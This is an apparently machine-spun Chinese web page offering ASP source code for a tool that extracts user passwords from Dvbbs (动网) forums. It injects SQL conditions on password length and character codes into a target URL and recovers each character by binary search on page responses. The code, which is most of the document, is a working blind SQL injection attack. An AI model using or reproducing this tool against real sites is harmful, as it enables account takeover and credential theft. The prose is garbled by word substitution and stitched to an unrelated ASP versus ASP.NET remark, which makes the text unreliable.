ASP网站制作之动网论坛暗码暴力破解程序代码

ASP.NET和ASP的比较,技术上比较已经没什么可说的了.新一代在大部分程度来说当然是比旧一代好了.关键看你对所做软件的理解了.因人而定.会写的话也可能比ASP.NET写得更有效率和更方便重用程序|破解<%
response.buffer=false
为避免程序堕入逝世轮回，初始化一些最年夜重试值
DimMaxPassLen,MaxPassAsc
MaxPassLen=20暗码最年夜长度
MaxPassAsc=20

====字符转换
Functionbytes2BSTR(vIn)
strReturn=""
Forj=1ToLenB(vIn)
ThisCharCode=AscB(MidB(vIn,j,1))
IfThisCharCode<&H80Then
strReturn=strReturn&Chr(ThisCharCode)
Else
NextCharCode=AscB(MidB(vIn,j+1,1))
strReturn=strReturn&Chr(CLng(ThisCharCode)*&H100+CInt(NextCharCode))
j=j+1
EndIf
Next
bytes2BSTR=strReturn
EndFunction
上面是取网页内容==========
FunctionGetUrl(Url)
setoSend=createobject("Microsoft.XMLHTTP")
SourceCode=oSend.open("GET",url,false)
oSend.send()
SourceCode=bytes2BSTR(oSend.responseBody)
GetUrl=SourceCode
EndFunction
上面是判别前往页面效果
FunctionChkPage(SourceCode,SucKey,ErrKey)
ifInstr(SourceCode,SucKey)>0then
ChkPage=true页面前往乐成
exitfunction
endif
ifInstr(SourceCode,ErrKey)>0then
ChkPage=false页面堕落
exitfunction
endif
ChkPage=false关头字信息不合错误大概是页面未毗连
response.write("关头字信息不合错误大概是页面未毗连")
response.end
EndFunction

入手下手破解
Dimurl,username,password,SucKey,

DimPassLenUrl
DimPassLen
DimChkPassLen

Ifrequest("begin")""then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步，破解暗码长度<BR>")

PassLen=1
ChkPassLen=false
DowhilenotChkPassLen
PassLenUrl=Url&username&"%20and%20len("&password&")="&PassLen&"%20and%201=1"
response.write("以后测试暗码位数为“"&PassLen&"”，请稍等......<BR>")
ChkPassLen=ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
IfChkPassLenThen
response.write("乐成！！！暗码位数已测试出来了，入手下手测试详细位数<BR>")
exitdo
Else
response.write("不可，持续下一名测试！<BR>")
EndIf
IfPassLen>MaxPassLenthen
response.write("暗码位数未能测试出，请确认是不是有此用户或从头调剂暗码长度局限")
response.end
exitdo
EndIf
PassLen=PassLen+1
Loop
response.write("<FONTCOLOR=red>已测试出暗码长度为"&PassLen&"，入手下手测试详细暗码值</FONT><BR><BR>")
轮回每位
DimAsc1,Asc2,Asc10,Asc20,Ascstr
DimAscArr(PassLen)
DimChkPass,Asctemp1,Asctemp,count
Ascstr=""

Fori=1toPassLen
ChkPass=false
Asc1=33
Asc2=126
response.write"入手下手破解第"&i&"位暗码<BR>"
用二分法取asc码局限
count=1
suc=false
Dowhilenotsuc
Asctemp1=Asctemp
if(Asc2-Asc1)mod2=1then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
endif

response.write"规定暗码局限为："&chr(Asc1)&"--"&chr(Asc2)&PassLenUrl&"<BR>"
PassLenUrl=Url&username&"%20and%20asc(mid(password,"&i&",1))>="&int(Asc1)&"%20and%20asc(mid(password,"&i&",1))<="&int(Asc2)&"%20and%201=1"
response.write"规定暗码局限为："&chr(Asc1)&"--"&chr(Asc2)&PassLenUrl&"<BR>"
ChkPass=ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
ifAsc1=33andAsc2=126andnotChkPassthen
response.write"暗码不在所设定ASC码局限内"
response.end
exitdo
endif
ifChkPassthen
Asc10=Asc1
Asc20=Asc2
response.write("暗码在该局限内<BR>")
ifAsc1=Asc2thenSuc=true
Asc2=Asc1+Asctemp
else
Asc1=Asc20-Asctemp1
Asc2=Asc20
response.write("不在该局限内，改试另外一局限<BR>")
endif
count=count+1
ifcount>MaxPassAscthen
response.write("逝世轮回了！")
response.end
exitdo
endif
Loop
Ascstr=Ascstr&chr(Asc1)
response.write"<BR>以后破解进度（“"&Ascstr&"”）<BR><BR><BR><BR>"
Next


response.write"<FONTSIZE=7COLOR=red</p>大家可以自己去看一看.可以说看得想呕吐.以前有次下了个动网来看.里面连基本内置函数的保护措施(函数没防御性)都没有.难怪经常补这个补那个了.可能现在.NET版会好点吧